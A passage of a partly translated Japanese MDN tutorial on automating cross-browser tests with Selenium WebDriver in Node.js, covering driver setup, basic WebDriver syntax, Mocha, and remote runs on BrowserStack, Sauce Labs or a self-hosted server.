上に構築し、ブラウザを呼び出して自動化し、「このWebページを開く」、「この要素をページ上に移動する」、「このリンクをクリックする」、「リンクがこのURLを開くかどうかを確認する」などといったアクションを実行します。これは、自動テストを実行するのに最適です。<br> + <br> + WebDriverのインストール方法と使用方法は、テストの作成と実行に使用するプログラミング環境によって異なります。最も一般的な環境では、WebDriverとその言語、例えばJava、C＃、Ruby、Python、JavaScript（Node）などを使用してWebDriverと通信するのに必要なバインディングをインストールするパッケージまたはフレームワークが利用可能です。異なる言語のSeleniumのセットアップの詳細については、 <a href="http://www.seleniumhq.org/docs/03_webdriver.jsp#setting-up-a-selenium-webdriver-project">Setting Up a Selenium-WebDriver Project</a> を参照してください。<br> + <br> + 異なるブラウザでは、WebDriverと通信して制御するために異なるドライバが必要です。ブラウザのドライバの入手先などについては、 <a href="http://www.seleniumhq.org/about/platforms.jsp">Platforms Supported by Selenium</a> を参照してください。<br> + <br> + Node.jsを使用したSeleniumテストの作成と実行については、始める前にすばやく簡単に行うことができ、フロントエンド開発者にはもっと使い慣れた環境を提供する予定です。</p> + +<div class="note"> +<p><strong>注</strong>: 他のサーバーサイド環境でWebDriverを使用する方法を知りたい場合は、<a href="http://www.seleniumhq.org/about/platforms.jsp">Platforms Supported by Selenium</a>もチェックしてください。</p> +</div> + +<h3 id="Setting_up_Selenium_in_Node" name="Setting_up_Selenium_in_Node">Node で Selenium のセットアップ</h3> + +<ol> + <li>まず、最後の章の <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Setting_up_Node_and_npm">Setting up Node and npm</a> で説明しているように、新しいnpmプロジェクトをセットアップします。<code>selenium-test</code>のように違うものを呼んでください。</li> + <li>次に私たちはNodeの内部からSeleniumが機能するようにフレームワークをインストールする必要があります。 更新頻度が高く、よく改善されるため、私たちは<a href="https://www.npmjs.com/package/selenium-webdriver">selenium-webdriver</a>を選択します。もしも他の選択をするならば<a href="http://webdriver.io/">webdriver.io</a> と <a href="http://nightwatchjs.org/">nightwatch.js</a> もいい選択です。selenium-webdriverをインストールするため, プロジェクトフォルダの下で以下のコマンドを走らせます:</li> + <li> + <pre class="brush: bash"><code>npm install selenium-webdriver</code></pre> + </li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 以前に selenium-webdriver をインストールしてブラウザドライバをダウンロードした場合でも、これらの手順を実行することをお勧めします。すべてが最新であることを確認する必要があります。</p> +</div> + +<p>Next, you need to download the relevant drivers to allow WebDriver to control the browsers you want to test. You can find details of where to get them from on the <a href="https://www.npmjs.com/package/selenium-webdriver">selenium-webdriver</a> page (see the table in the first section.) Obviously, some of the browsers are OS-specific, but we're going to stick with Firefox and Chrome, as they are available across all the main OSes.</p> + +<ol> + <li>Download the latest <a href="https://github.com/mozilla/geckodriver/releases/">GeckoDriver</a> (for Firefox) and <a href="http://chromedriver.storage.googleapis.com/index.html">ChromeDriver</a> drivers.</li> + <li>Unpack them into somewhere fairly easy to navigate to, like the root of your home user directory.</li> + <li>Add the <code>chromedriver</code> and <code>geckodriver</code> driver's location to your system <code>PATH</code> variable. This should be an absolute path from the root of your hard disk, to the directory containing the drivers. 例えば、if we were using a Mac OS X machine, our user name was bob, and we put our drivers in the root of our home folder, the path would be <code>/Users/bob</code>.</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: Just to reiterate, the path you add to <code>PATH</code> needs to be the path to the directory containing the drivers, not the paths to the drivers themselves! This is a common mistake.</p> +</div> + +<p>To set your <code>PATH</code> variable on Mac OS X/most Linux systems:</p> + +<ol> + <li>Open your <code>.bash_profile</code> (or <code>.bashrc</code>) file (if you can't see hidden files, you'll need to display them, see <a href="http://ianlunn.co.uk/articles/quickly-showhide-hidden-files-mac-os-x-mavericks/">Show/Hide hidden files in Mac OS X</a> or <a href="http://askubuntu.com/questions/470837/how-to-show-hidden-folders-in-ubuntu-14-04">Show hidden folders in Ubuntu</a>).</li> + <li>Paste the following into the bottom of your file (updating the path as it actually is on your machine): + <pre class="brush: bash">#Add WebDriver browser drivers to PATH + +export PATH=$PATH:/Users/bob</pre> + </li> + <li>Save and close this file, then restart your Terminal/command prompt to reapply your Bash configuration.</li> + <li>Check that your new paths are in the <code>PATH</code> variable by entering the following into your terminal: + <pre class="brush: bash">echo $PATH</pre> + </li> + <li>You should see it printed out in the terminal.</li> +</ol> + +<p>To set your <code>PATH</code> variable on Windows, follow the instructions at <a href="http://windowsitpro.com/systems-management/how-can-i-add-new-folder-my-system-path">How can I add a new folder to my system path?</a></p> + +<p>OK, let's try a quick test to make sure everything is working.</p> + +<ol> + <li>Create a new file inside your project directory called <code>google_test.js</code>:</li> + <li>Give it the following contents, then save it: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +var driver = new webdriver.Builder() + .forBrowser('firefox') + .build(); + +driver.get('http://www.google.com'); + +driver.findElement(By.name('q')).sendKeys('webdriver'); + +driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); + +driver.findElement(By.name('btnK')).click(); + +driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +}); + +driver.quit();</pre> + </li> + <li>In terminal, make sure you are inside your project folder, then enter the following command: + <pre class="brush: bash">node google_test</pre> + </li> +</ol> + +<p>You should see an instance of Firefox automatically open up! Google should automatically be loaded in a tab, "webdriver" should be entered in the search box, and the search button will be clicked. WebDriver will then wait for 2 seconds; the document title is then accessed, and if it is "webdriver - Google Search", we will return a message to claim the test is passed. WebDriver will then close down the Firefox instance and stop.</p> + +<h2 id="Testing_in_multiple_browsers_at_once" name="Testing_in_multiple_browsers_at_once">一度に複数ブラウザでテストする</h2> + +<p>There is also nothing to stop you running the test on multiple browsers simulataneously. Let's try this!</p> + +<ol> + <li>Create another new file inside your project directory called <code>google_test_multiple.js</code>. You can feel free to change the references to some of the other browsers we added, remove them, etc., depending on what browsers you have available to test on your operating system. You'll need to make sure you have the right browser drivers set up on your system. In terms of what string to use inside the <code>.forBrowser()</code> method for other browsers, see the <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/index_exports_Browser.html">Browser enum</a> reference page.</li> + <li>Give it the following contents, then save it: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +var driver_fx = new webdriver.Builder() + .forBrowser('firefox') + .build(); + +var driver_chr = new webdriver.Builder() + .forBrowser('chrome') + .build(); + +searchTest(driver_fx); +searchTest(driver_chr); + +function searchTest(driver) { + driver.get('http://www.google.com'); + driver.findElement(By.name('q')).sendKeys('webdriver'); + + driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); + }); + + driver.findElement(By.name('btnK')).click(); + + driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); + }); + + driver.quit(); +}</pre> + </li> + <li>In terminal, make sure you are inside your project folder, then enter the following command: + <pre class="brush: bash">node google_test_multiple</pre> + </li> + <li>If you are using a Mac and do decide to test Safari, you might get an error message along the lines of "Could not create a session: You must enable the 'Allow Remote Automation' option in Safari's Develop menu to control Safari via WebDriver." If you get this, follow the given instruction and try again.</li> +</ol> + +<p>So here we've done the test as before, except that this time we've wrapped it inside a function, <code>searchTest()</code>. We've created new browser instances for multiple browsers, then passed each one to the function so the test is performed on all three browsers!</p> + +<p>Fun huh? Let's move on, look at the basics of WebDriver syntax, in a bit more detail.</p> + +<h2 id="WebDriver_syntax_crash_course" name="WebDriver_syntax_crash_course">WebDriver 構文クラッシュコース</h2> + +<p>Let's have a look at a few key features of the webdriver syntax. For more complete details, you should consult the <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/">selenium-webdriver JavaScript API reference</a> for a detailed reference, and the Selenium main documentation's <a href="http://www.seleniumhq.org/docs/03_webdriver.jsp">Selenium WebDriver</a> and <a href="http://www.seleniumhq.org/docs/04_webdriver_advanced.jsp">WebDriver: Advanced Usage</a> pages, which contain multiple examples to learn from written in different languages.</p> + +<h3 id="Starting_a_new_test" name="Starting_a_new_test">新しいテストを始める</h3> + +<p>To start up a new test, you need to include the <code>selenium-webdriver</code> module like this:</p> + +<pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until;</pre> + +<p>Next, you need to create a new instance of a driver, using the <code>new webdriver.Builder()</code> constructor. This needs to have the <code>forBrowser()</code> method chained onto it to specify what browser you want to test with this builder, and the <code>build()</code> method to actually build it (see the <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/index_exports_Builder.html">Builder class reference</a> for detailed information on these features).</p> + +<pre class="brush: js">var driver = new webdriver.Builder() + .forBrowser('firefox') + .build();</pre> + +<p>Note that it is possible to set specific configuration options for browsers to be tested, 例えば、you can set a specific version and OS to test in the <code>forBrowser()</code> method:</p> + +<pre class="brush: js">var driver = new webdriver.Builder() + .forBrowser('firefox', '46', 'MAC') + .build();</pre> + +<p>You could also set these options using an environment variable, 例えば、:</p> + +<pre class="brush: bash"><code>SELENIUM_BROWSER=firefox:46:MAC</code></pre> + +<p>Let's create a new test to allow us to explore this code as we talk about it. Inside your selenium test project directory, create a new file called <code>quick_test.js</code>, and add the following code to it:</p> + +<pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +var driver = new webdriver.Builder() + .forBrowser('firefox') + .build();</pre> + +<h3 id="Getting_the_document_you_want_to_test" name="Getting_the_document_you_want_to_test">テストするドキュメントの取得</h3> + +<p>To load the page you actually want to test, you use the <code>get()</code> method of the driver instance you created earlier, 例えば、:</p> + +<pre class="brush: js"><span class="nx">driver</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'http://www.google.com'</span><span class="p">);</span></pre> + +<div class="note"> +<p><span class="p"><strong>注</strong>: See the <a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/webdriver_exports_WebDriver.html">WebDriver class reference</a> for details of the features in this section and the ones below it.</span></p> +</div> + +<p>You can use any URL to point to your resource, including a <code>file://</code> URL to test a local document:</p> + +<pre class="brush: js">driver.get('file:///Users/chrismills/git/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html');</pre> + +<p>or</p> + +<pre class="brush: js">driver.get('http://localhost:8888/fake-div-buttons.html');</pre> + +<p>But it is better to use a remote server location so the code is more flexible — when you start using a remote server to run your tests (see later on), your code will break if you try to use local paths. </p> + +<p>Add this line to the bottom of <code>quick_test.js</code> now:</p> + +<pre class="brush: js">driver.get('http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html');</pre> + +<h3 id="Interacting_with_the_document" name="Interacting_with_the_document">文書とのやりとり</h3> + +<p>Now we've got a document to test, we need to interact with it in some way, which usually involves first selecting a specific element to test something about. You can <a href="http://www.seleniumhq.org/docs/03_webdriver.jsp#locating-ui-elements-webelements">select UI elements in many ways</a> in WebDriver, including by ID, class, element name, etc. The actual selection is done by the <code>findElement()</code> method, which accepts as a parameter a selection method. 例えば、to select an element by ID:</p> + +<pre class="brush: js"><span class="kd">var</span> <span class="nx">element</span> <span class="o">=</span> <span class="nx">driver</span><span class="p">.</span><span class="nx">findElement</span><span class="p">(</span><span class="nx">By</span><span class="p">.</span><span class="nx">id</span><span class="p">(</span><span class="s1">'myElementId'</span><span class="p">));</span></pre> + +<p>One of the most useful ways to find an element by CSS — the By.css method allows you to select an element using a CSS selector</p> + +<p>Enter the following at the bottom of your <code>quick_test.js</code> code now:</p> + +<pre class="brush: js"><span class="kd">var</span> <span class="nx">button</span> <span class="o">=</span> <span class="nx">driver</span><span class="p">.</span><span class="nx">findElement</span><span class="p">(</span><span class="nx">By</span><span class="p">.</span><span class="nx">css</span><span class="p">(</span><span class="s1">'</span>button:nth-of-type(1)<span class="s1">'</span><span class="p">));</span></pre> + +<h3 id="Testing_your_element" name="Testing_your_element"><span class="p">要素のテスト</span></h3> + +<p><span class="p">There are many ways to interact with your web documents and elements on them. You can see useful common examples starting at <a href="http://www.seleniumhq.org/docs/03_webdriver.jsp#getting-text-values">Getting text values</a> on the </span>WebDriver docs.</p> + +<p>If we wanted to get the text inside our button, we could do this:</p> + +<pre class="brush: js">button.getText().then(function(text) { + console.log('Button text is \'' + text + '\''); +});</pre> + +<p>Add this to <code>quick_test.js</code> now.</p> + +<p><span class="p">Making sure you are inside your project directory, try running the test:</span></p> + +<pre class="brush: bash"><span class="p">node quick_test.js</span></pre> + +<p><span class="p">You should see the button's text label reported inside the console.</span></p> + +<p><span class="p">let's do something a bit more useful. delete the previous code entry, then add this line at the bottom instead:</span></p> + +<pre class="brush: js">button.click();</pre> + +<p>Try running your test again; the button will be clicked, and the <code>alert()</code> popup should appear. At least we know the button is working!</p> + +<p>You can interact with the popup too. Add the following to the bottom of the code, and try testing it again:</p> + +<pre class="brush: js">var alert = driver.switchTo().alert(); + +alert.getText().then(function(text) { + console.log('Alert text is \'' + text + '\''); +}); + +alert.accept();</pre> + +<p>Next, let's try entering some text into one of the form elements. Add the following code and try running your test again:</p> + +<pre class="brush: js"><span class="kd">var</span> input <span class="o">=</span> <span class="nx">driver</span><span class="p">.</span><span class="nx">findElement</span><span class="p">(</span><span class="nx">By</span><span class="p">.</span><span class="nx">id</span><span class="p">(</span><span class="s1">'input1'</span><span class="p">)); +input.</span>sendKeys('Filling in my form');</pre> + +<p>You can submit key presses that can't be represented by normal characters using properties of the <code>webdriver.Key</code> object. 例えば、above we used this construct to tab out of the form input before submitting it:</p> + +<pre class="brush: js">driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); +</pre> + +<h3 id="Waiting_for_something_to_complete" name="Waiting_for_something_to_complete">何かが完了するのを待つ</h3> + +<p>There are times where you'll want to make WebDriver wait for something to complete before carrying on. 例えば、if you load a new page, you'll want to wait for the page's DOM to finish loading before you try to interact with any of its elements, otherwise the test will likely fail.</p> + +<p>In our <code>google_test.js</code> test 例えば、we included this block:</p> + +<pre class="brush: js">driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +});</pre> + +<p>The <code>sleep()</code> method accepts a value that specifies the time to wait in milliseconds — the method returns a promise that resolves at the end of that time, at which point the code inside the <code>then()</code> executes. In this case we get the title of the current page with the <code>getTitle()</code> method, then return a pass or fail message depending on what its value is.</p> + +<p>We could add a <code>sleep()</code> method to our <code>quick_test.js</code> test too — try wrapping your last line of code in a block like this:</p> + +<pre class="brush: js">driver.sleep(2000).then(function() { + input.sendKeys('Filling in my form'); + input.getAttribute("value").then(function(value) { + if(value !== '') { + console.log('Form input editable'); + } + }); +});</pre> + +<p>WebDriver will now wait for 2 seconds before filling in the form field. We then test whether its value got filled in (i.e. is not empty) by using <code>getAttribute()</code> to retrieve it's <code>value</code> attribute value, and print a message to the console if it is not empty.</p> + +<div class="note"> +<p><strong>注</strong>: There is also a method called <code><a href="http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/webdriver_exports_WebDriver.html#wait">wait()</a></code>, which repeatedly tests a condition for a certain length of time, and then carries on executing the code. This also makes use of the <a href="https://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/until.html">util library</a>, which defines common conditions to use along with <code>wait()</code>.</p> +</div> + +<h3 id="Shutting_down_drivers_after_use" name="Shutting_down_drivers_after_use">使用後のドライバのシャットダウン</h3> + +<p>After you've finished running a test, you should shut down any dirver instances you've opened, to make sure that you don't end up with loads of rogue browser instances open on your machine! This is done using the <code>quit()</code> method. Simply call this on your driver instance when you are finished with it. Add this line to the bottom of your <code>quick_test.js</code> test now:</p> + +<pre class="brush: js"><span class="nx">driver</span><span class="p">.</span><span class="nx">quit</span><span class="p">();</span></pre> + +<p><span class="p">When you run it, you should now see the test execute and the browser instance shut down again after the text is complete. This is useful for not cluttering up your computer with loads of browser instances, especially if you have so many that it is causing the computer to slow down.</span></p> + +<h2 id="Test_best_practices" name="Test_best_practices">テストのベストプラクティス</h2> + +<p>There has been a lot written about best practices for writing tests. You can find some good background information at <a href="http://www.seleniumhq.org/docs/06_test_design_considerations.jsp">Test Design Considerations</a>. In general, you should make sure that your tests are:</p> + +<ol> + <li>Using good locator strategies: When you are {{anch("Interacting with the document")}}, make sure that you use locators and page objects that are unlikely to change — if you have a testable element that you want to perform a test on, make sure that it has a stable ID, or position on the page that can be selected using a CSS selector, which isn't going to just change with the next site iteration. You want to make your tests as non-brittle as possible, i.e. they won't just break when something changes.</li> + <li>Write atomic tests: Each test should test one thing only, making it easy to keep track of what test file is testing which criterion. As an example, the <code>google_test.js</code> test we looked at above is pretty good, as it just tests a single thing — whether the title of a search results page is set correctly. We could work on giving it a better name so it is easier to work out what it does if we add more google tests. Perhaps <code>results_page_title_set_correctly.js</code> would be slightly better?</li> + <li>Write autonomous tests: Each test should work on it's own, and not depend on other tests to work.</li> +</ol> + +<p>In addition, we should mention test results/reporting — we've been reporting results in our above examples using simple <code>console.log()</code> statements, but this is all done in JavaScript, so you can use whatever test running and resorting system you want, be it <a href="https://mochajs.org/">Mocha</a>/<a href="http://chaijs.com/">Chai</a>/some other kind of combination.</p> + +<ol> + <li>例えば、try making a local copy of our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/selenium/mocha_test.js">mocha_test.js</a></code> example inside your project directory. Put it inside a subfolder called <code>test</code>. This example uses a long chain of promises to run all the steps required in our test — the promise-based methods WebDriver uses need to resolve for it to work properly.</li> + <li>Install the mocha test harness by running the following command inside your project directory: + <pre class="brush: bash">npm install --save-dev mocha</pre> + </li> + <li>you can now run the test (and any others you put inside your <code>test</code> directory) using the following command: + <pre class="brush: bash">mocha --no-timeouts</pre> + </li> + <li>You should include the <code>--no-timeouts</code> flag to make sure your tests don't end up failing because of Mocha's arbitrary timeout (which is 3 seconds).</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/saucelabs-sample-test-frameworks">saucelabs-sample-test-frameworks</a> contains several useful examples showing how to set up different combinations of test/assertion tools.</p> +</div> + +<h2 id="Running_remote_tests" name="Running_remote_tests">リモートテストの実行</h2> + +<p>It turns out that running tests on remote servers isn't that much more difficult than running them locally. You just need to create your driver instance, but with a few more features specified, including the capabilities of the browser you want to test on, the address of the server, and the user credentials you need (if any) to access it.</p> + +<h3 id="BrowserStack" name="BrowserStack">BrowserStack</h3> + +<p>Getting Selenium tests to run remotely on BrowserStack is easy. The code you need should follow the pattern seen below.</p> + +<p>Let's write an example:</p> + +<ol> + <li>Inside your project directory, create a new file called <code>bstack_google_test.js</code>.</li> + <li>Give it the following contents: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until; + +// Input capabilities +var capabilities = { + 'browserName' : 'Firefox', + 'browser_version' : '56.0 beta', + 'os' : 'OS X', + 'os_version' : 'Sierra', + 'resolution' : '1280x1024', + 'browserstack.user' : '<code>YOUR-USER-NAME</code>', + 'browserstack.key' : '<code>YOUR-ACCESS-KEY</code>', + 'browserstack.debug' : 'true', + 'build' : 'First build' +}; + +var driver = new webdriver.Builder(). + usingServer('http://hub-cloud.browserstack.com/wd/hub'). + withCapabilities(capabilities). + build(); + +driver.get('http://www.google.com'); +driver.findElement(By.name('q')).sendKeys('webdriver'); + +driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); + +driver.findElement(By.name('btnK')).click(); + +driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +}); + +driver.quit();</pre> + </li> + <li>From your <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a>, get your user name and access key (see <em>Username and Access Keys</em>). Replace the <code>YOUR-USER-NAME</code> and <code>YOUR-ACCESS-KEY</code> placeholders in the code with your actual user name and access key values (and make sure you keep them secure).</li> + <li>Run your test with the following command: + <pre class="brush: bash">node bstack_google_test</pre> + The test will be sent to BrowserStack, and the test result will be returned to your console. This shows the importance of including some kind of result reporting mechanism!</li> + <li>Now if you go back to the <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a> page, you'll see your test listed:<br> + <img alt="" src="https://mdn.mozillademos.org/files/15383/bstack_automated_results.png" style="border-style: solid; border-width: 1px; display: block; height: 189px; margin: 0px auto; width: 700px;"></li> +</ol> + +<p>If you click on the link for your test, you'll get to a new screen where you will be able to see a video recording of the test, and multiple detailed logs of information pertaining to it.</p> + +<div class="note"> +<p><strong>注</strong>: The <em>Resources</em> menu option on the Browserstack automation dashboard contains a wealth of useful information on using it to run automated tests. See <a href="https://www.browserstack.com/automate/node">Node JS Documentation for writing automate test scripts in Node JS</a> for the node-specific information. Expore the docs to find out all the useful things BrowserStack can do.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: If you don't want to write out the capabilities objects for your tests by hand, you can generate them using the generators embedded in the docs. See <a href="https://www.browserstack.com/automate/node#run-tests-on-mobile">Run tests on mobile browsers</a> and <a href="https://www.browserstack.com/automate/node#setting-os-and-browser">Run tests on desktop browsers</a>.</p> +</div> + +<h4 id="Filling_in_BrowserStack_test_details_programmatically" name="Filling_in_BrowserStack_test_details_programmatically">プログラムによるBrowserStackテストの詳細の入力</h4> + +<p>You can use the BrowserStack REST API and some other capabilities to annotate your test with more details, such as whether it passed, why it passed, what project the test is part of, etc. BrowserStack doesn't know these details 既定では!</p> + +<p>Let's update our <code>bstack_google_test.js</code> demo, to show how these features work:</p> + +<ol> + <li>First, we 'll need to import the node request module, so we can use it to send requests to the REST API. Add the following line at the very top of your code: + <pre class="brush: js">var request = require("request");</pre> + </li> + <li>Now we'll update our <code>capabilities</code> object to include a project name — add the following line before the closing curly brace, remembering to add a comma at the end of the previous line (you can vary the build and project names to organize the tests in different windows in the BrowserStack automation dashboard): + <pre class="brush: js">'project' : 'Google test 2'</pre> + </li> + <li>Next we need to access the <code>sessionId</code> of the current session, so we know where to send the request (the ID is included in the request URL, as you'll see later). Include the following lines just below the block that creates the <code>driver</code> object (<code>var driver ...</code>) : + <pre class="brush: js">var sessionId; + +driver.session_.then(function(sessionData) { + sessionId = sessionData.id_; +});</pre> + </li> + <li>Finally, update the <code>driver.sleep(2000)</code> ... block near the bottom of the code to add REST API calls (again, replace the <code>YOUR-USER-NAME</code> and <code>YOUR-ACCESS-KEY</code> placeholders in the code with your actual user name and access key values): + <pre class="brush: js">driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + request({uri: "https://<code>YOUR-USER-NAME</code>:<code>YOUR-ACCESS-KEY</code>@www.browserstack.com/automate/sessions/" + sessionId + ".json", method:"PUT", form:{"status":"passed","reason":"Google results showed correct title"}}); + } else { + console.log('Test failed'); + request({uri: "https://<code>YOUR-USER-NAME</code>:<code>YOUR-ACCESS-KEY</code>@www.browserstack.com/automate/sessions/" + sessionId + ".json", method:"PUT", form:{"status":"failed","reason":"Google results showed wrong title"}}); + } + }); +});</pre> + </li> +</ol> + +<p>These are fairly intuitive — once the test completes, we send an API call to BrowserStack to update the test with a passed or failed status, and a reason for the result.</p> + +<p>If you now go back to your <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a> page, you should see your test session available, as before, but with the updated data attached to it:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15385/bstack_custom_results.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<h3 id="Sauce_Labs" name="Sauce_Labs">Sauce Labs</h3> + +<p>Getting Selenium tests to run remotely on Sauce Labs is also very simple, and very similar to BrowserStack albeit with a few syntactic differences. The code you need should follow the pattern seen below.</p> + +<p>Let's write an example:</p> + +<ol> + <li>Inside your project directory, create a new file called <code>sauce_google_test.js</code>.</li> + <li>Give it the following contents: + <pre class="brush: js">var webdriver = require('selenium-webdriver'), + By = webdriver.By, + until = webdriver.until, + username = "YOUR-USER-NAME", + accessKey = "YOUR-ACCESS-KEY"; + +var driver = new webdriver.Builder() + .withCapabilities({ + 'browserName': 'chrome', + 'platform': 'Windows XP', + 'version': '43.0', + 'username': username, + 'accessKey': accessKey + }) + .usingServer("https://" + username + ":" + accessKey + + "@ondemand.saucelabs.com:443/wd/hub") + .build(); + +driver.get('http://www.google.com'); + +driver.findElement(By.name('q')).sendKeys('webdriver'); + +driver.sleep(1000).then(function() { + driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB); +}); + +driver.findElement(By.name('btnK')).click(); + +driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + } else { + console.log('Test failed'); + } + }); +}); + +driver.quit();</pre> + </li> + <li>From your <a href="https://saucelabs.com/beta/user-settings">Sauce Labs user settings</a>, get your user name and access key. Replace the <code>YOUR-USER-NAME</code> and <code>YOUR-ACCESS-KEY</code> placeholders in the code with your actual user name and access key values (and make sure you keep them secure).</li> + <li>Run your test with the following command: + <pre class="brush: bash">node sauce_google_test</pre> + The test will be sent to Sauce Labs, and the test result will be returned to your console. This shows the importance of including some kind of result reporting mechanism!</li> + <li>Now if you go to your <a href="https://saucelabs.com/beta/dashboard/tests">Sauce Labs Automated Test dashboard</a> page, you'll see your test listed; from here you'll be able to see videos, screenshots, and other such data.<br> + <img alt="" src="https://mdn.mozillademos.org/files/14235/sauce_labs_automated_test.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></li> +</ol> + +<div class="note"> +<p><strong>注</strong>: Sauce Labs' <a href="https://wiki.saucelabs.com/display/DOCS/Platform+Configurator/#/">Platform Configurator</a> is a useful tool for generating capability objects to feed to your driver instances, based on what browser/OS you want to test on.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: for more useful details on testing with Sauce Labs and Selenium, check out <a href="https://wiki.saucelabs.com/display/DOCS/Getting+Started+with+Selenium+for+Automated+Website+Testing">Getting Started with Selenium for Automated Website Testing</a>, and <a href="https://wiki.saucelabs.com/display/DOCS/Instant+Selenium+Node.js+Tests">Instant Selenium Node.js Tests</a>.</p> +</div> + +<h4 id="Filling_in_Sauce_Labs_test_details_programmatically" name="Filling_in_Sauce_Labs_test_details_programmatically">Sauce Labsテストの詳細をプログラムで書き込む</h4> + +<p>You can use the Sauce Labs API to annotate your test with more details, such as whether it passed, the name of the test, etc. Sauce Labs doesn't know these details 既定では!</p> + +<p>To do this, you need to:</p> + +<ol> + <li>Install the Node Sauce Labs wrapper using the following command (if you've not already done it for this project): + <pre class="brush: bash"><code class="language-html">npm install saucelabs --save-dev</code></pre> + </li> + <li>Require saucelabs — put this at the top of your <code>sauce_google_test.js</code> file, just below the previous variable declarations: + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> SauceLabs <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'saucelabs'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + </li> + <li>Create a new instance of SauceLabs, by adding the following just below that: + <pre class="brush: js">var saucelabs = new SauceLabs({ + username : "YOUR-USER-NAME", + password : "YOUR-ACCESS-KEY" +});</pre> + Again, replace the <code>YOUR-USER-NAME</code> and <code>YOUR-ACCESS-KEY</code> placeholders in the code with your actual user name and access key values (note that the saucelabs npm package rather confusingly uses <code>password</code>, not <code>accessKey</code>). Since you are using these twice now, you may want to create a couple of helper variables to store them in.</li> + <li>Below the block where you define the <code>driver</code> variable (just below the <code>build()</code> line), add the following block — this gets the correct driver <code>sessionID</code> that we need to write data to the job (you can see it action in the next code block): + <pre class="brush: js">driver.getSession().then(function (sessionid){ + driver.sessionID = sessionid.id_; +});</pre> + </li> + <li>Finally, replace the <code>driver.sleep(2000)</code> ... block near the bottom of the code with the following: + <pre class="brush: js">driver.sleep(2000).then(function() { + driver.getTitle().then(function(title) { + if(title === 'webdriver - Google Search') { + console.log('Test passed'); + var testPassed = true; + } else { + console.log('Test failed'); + var testPassed = false; + } + + saucelabs.updateJob(driver.sessionID, { + name: 'Google search results page title test', + passed: testPassed + }); + }); +});</pre> + </li> +</ol> + +<p>Here we've set a <code>testPassed</code> variable to <code>true</code> or <code>false</code> depending on whether the test passed or fails, then we've used the <code>saucelabs.updateJob()</code> method to update the details.</p> + +<p>If you now go back to your <a href="https://saucelabs.com/beta/dashboard/tests">Sauce Labs Automated Test dashboard</a> page, you should see your new job now has the updated data attached to it:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14239/sauce_labs_updated_job_info.png" style="border-style: solid; border-width: 1px; display: block; height: 150px; margin: 0px auto; width: 1088px;"></p> + +<h3 id="Your_own_remote_server" name="Your_own_remote_server">自身のリモートサーバ</h3> + +<p>If you don't want to use a service like Sauce Labs or BrowserStack, you can always set up your own remote testing server. Let's look at how to do this.</p> + +<ol> + <li>The Selenium remote server requires Java to run. Download the latest JDK for your platform from the <a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html">Java SE downloads page</a>. Install it when it is downloaded.</li> + <li>Next, download the latest <a href="http://selenium-release.storage.googleapis.com/index.html">Selenium standalone server</a> — this acts as a proxy between your script and the browser drivers. Choose the latest stable version number (i.e. not a beta), and from the list choose a file starting with "selenium-server-standalone". When this has downloaded, put it in a sensible place, like in your home directory. If you've not already added the location to your <code>PATH</code>, do so now (see the {{anch("Setting up Selenium in Node")}} section).</li> + <li>Run the standalone server by entering the following into a terminal on your server computer + <pre class="brush: 